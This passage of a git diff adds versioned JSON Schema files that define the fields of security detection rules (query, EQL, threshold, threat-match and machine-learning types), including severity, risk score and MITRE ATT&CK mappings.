"type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "anomaly_threshold", + "author", + "description", + "machine_learning_job_id", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.0/8.0.query.json b/etc/api_schemas/8.0/8.0.query.json new file mode 100644 index 000000000..78cbdae7a --- /dev/null +++ b/etc/api_schemas/8.0/8.0.query.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.0/8.0.threat_match.json b/etc/api_schemas/8.0/8.0.threat_match.json new file mode 100644 index 000000000..c46b4d6dd --- /dev/null +++ b/etc/api_schemas/8.0/8.0.threat_match.json @@ -0,0 +1,438 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "concurrent_searches": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "items_per_search": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threat_filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "threat_index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat_indicator_path": { + "type": "string" + }, + "threat_language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "threat_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "entries": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "type": { + "enum": [ + "mapping" + ], + "type": "string" + }, + "value": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + } + }, + "required": [ + "field", + "type", + "value" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "entries" + ], + "type": "object" + }, + "type": "array" + }, + "threat_query": { + "type": "string" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threat_match" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threat_index", + "threat_mapping", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.0/8.0.threshold.json b/etc/api_schemas/8.0/8.0.threshold.json new file mode 100644 index 000000000..e755b4616 --- /dev/null +++ b/etc/api_schemas/8.0/8.0.threshold.json @@ -0,0 +1,396 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threshold", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.1/8.1.base.json b/etc/api_schemas/8.1/8.1.base.json new file mode 100644 index 000000000..b6c6afe45 --- /dev/null +++ b/etc/api_schemas/8.1/8.1.base.json @@ -0,0 +1,336 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query", + "saved_query", + "machine_learning", + "eql", + "threshold", + "threat_match" + ], + "enumNames": [], + "type": "string" + } + }, + "required": [ + "author", + "description", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.1/8.1.eql.json b/etc/api_schemas/8.1/8.1.eql.json new file mode 100644 index 000000000..1c81c7f71 --- /dev/null +++ b/etc/api_schemas/8.1/8.1.eql.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.1/8.1.machine_learning.json b/etc/api_schemas/8.1/8.1.machine_learning.json new file mode 100644 index 000000000..4d4472edb --- /dev/null +++ b/etc/api_schemas/8.1/8.1.machine_learning.json @@ -0,0 +1,349 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "anomaly_threshold": { + "format": "integer", + "type": "number" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "machine_learning_job_id": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "type": "array" + } + ] + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + 